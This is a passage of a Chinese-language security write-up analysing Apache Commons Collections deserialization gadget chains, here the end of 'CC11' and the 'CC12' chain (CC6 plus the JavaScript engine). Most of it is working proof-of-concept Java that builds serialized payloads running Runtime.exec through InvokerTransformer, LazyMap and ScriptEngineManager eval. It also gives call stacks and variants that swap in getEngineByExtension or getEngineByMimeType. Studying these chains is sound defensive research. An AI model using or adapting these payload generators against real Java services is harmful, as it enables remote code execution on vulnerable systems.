Field hashMapField = getField(HashMap.class, "table");
Object[] array = (Object[]) hashMapField.get(hashSetMap);

Object node = array[0];
if (node == null) {
node = array[1];
}

setFieldValue(node, "key", tiedMapEntry);
setFieldValue(transformer, "iMethodName", "newTransformer");

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC11"));
outputStream.writeObject(hashSet);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC11"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value)
throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
exec:347, Runtime (java.lang)
<clinit>:-1, EvilCat315687595542584
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readObject:334, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:88, CC11

分析

HashSet#readObjectHashMap#puteTiedMapEntry

1
2
3
4
5
6
7
8
9
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// ...
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

因此HashMap#putTiedMapEntry#hashCode

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

TiedMapEntry#hashCodeTiedMapEntry#getValue

1
2
3
4
5
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

TiedMapEntry#getValue继续转LazyMap#getkeyTemplatesImpl

1
2
3
public Object getValue() {
return map.get(key);
}

map长度为0,进入if到触发InvokerTransformer#transform

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

后面照旧,同样,在最后进行反射赋值操作是防止在生成POC的时候put操作在本地触发恶意字节码。

CommonsCollections12

CC6+JS

影响版本

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.script.ScriptEngineManager;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC12 {
public static void main(String[] args) throws Exception {
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
ChainedTransformer chain =
new ChainedTransformer(
new Transformer[] {
new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", null, null),
new InvokerTransformer(
"getEngineByName",
new Class[] {String.class},
new Object[] {"js"}),
new InvokerTransformer(
"eval", new Class[] {String.class}, new Object[] {cmd})
});

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);

HashSet hashset = new HashSet(1);
hashset.add(2);

Field hashSetField = HashSet.class.getDeclaredField("map");
hashSetField.setAccessible(true);
HashMap hashsetMap = (HashMap) hashSetField.get(hashset);

Field hashMapTable = HashMap.class.getDeclaredField("table");
hashMapTable.setAccessible(true);
Object[] array = (Object[]) hashMapTable.get(hashsetMap);

Object node = array[0];
if (node == null) {
node = array[1];
}

Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node, tiedMapEntry);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC12"));
outputStream.writeObject(hashset);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC12"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
exec:347, Runtime (java.lang)
invokeVirtual_LL_L:-1, 243194708 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 890545344 (java.lang.invoke.LambdaForm$BMH)
exactInvoker:-1, 702846463 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 1105322512 (java.lang.invoke.LambdaForm$MH)
:program:1, Script$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_LL_L:-1, 101478235 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 1853205005 (java.lang.invoke.LambdaForm$MH)
invoke:640, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:228, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:446, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:403, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:399, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readObject:334, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:65, CC12

分析

主要差异就在Transformer部分。

一路反射实例化到调用ScriptEngineManager#getEngineByName

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public ScriptEngine getEngineByName(String shortName) {
if (shortName == null) throw new NullPointerException();
//look for registered name first
Object obj;
if (null != (obj = nameAssociations.get(shortName))) {
ScriptEngineFactory spi = (ScriptEngineFactory)obj;
try {
ScriptEngine engine = spi.getScriptEngine();
engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
return engine;
} catch (Exception exp) {
if (DEBUG) exp.printStackTrace();
}
}

for (ScriptEngineFactory spi : engineSpis) {
List<String> names = null;
try {
names = spi.getNames();
} catch (Exception exp) {
if (DEBUG) exp.printStackTrace();
}

if (names != null) {
for (String name : names) {
if (shortName.equals(name)) {
try {
ScriptEngine engine = spi.getScriptEngine();
engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
return engine;
} catch (Exception exp) {
if (DEBUG) exp.printStackTrace();
}
}
}
}
}

return null;
}

类似的还有ScriptEngineManager#getEngineByExtensionScriptEngineManager#getEngineByMimeType

因此可以修改成这样。

1
2
3
4
5
6
7
8
9
10
11
12
ChainedTransformer chain =
new ChainedTransformer(
new Transformer[] {
new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", null, null),
new InvokerTransformer(
"getEngineByExtension",
new Class[] {String.class},
new Object[] {"js"}),
new InvokerTransformer(
"eval", new Class[] {String.class}, new Object[] {cmd})
});

以及这样。

1
2
3
4
5
6
7
8
9
10
11
12
ChainedTransformer chain =
new ChainedTransformer(
new Transformer[] {
new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", null, null),
new InvokerTransformer(
"getEngineByMimeType",
new Class[] {String.class},
new Object[] {"text/javascript"}),
new InvokerTransformer(
"eval", new Class[] {String.class}, new Object[] {cmd})
});

Refer

Java 反序列化- CommonsCollections

Java 反序列化- CommonCollections1 利用链分析

动态代理

Java 反序列化- CommonsCollections2 分析

Commons-Collections 1-7 利用链分析

反序列化篇 6

Java 安全 - 反序列化 -4-CC6

不删除 "key"CC6 反序列化

CommonsCollections8

CommonsCollections9

CommonsCollections10

CommonsCollections11 分析

CommonsCollections12CommonsCollections6 改造计划

CommonsCollections12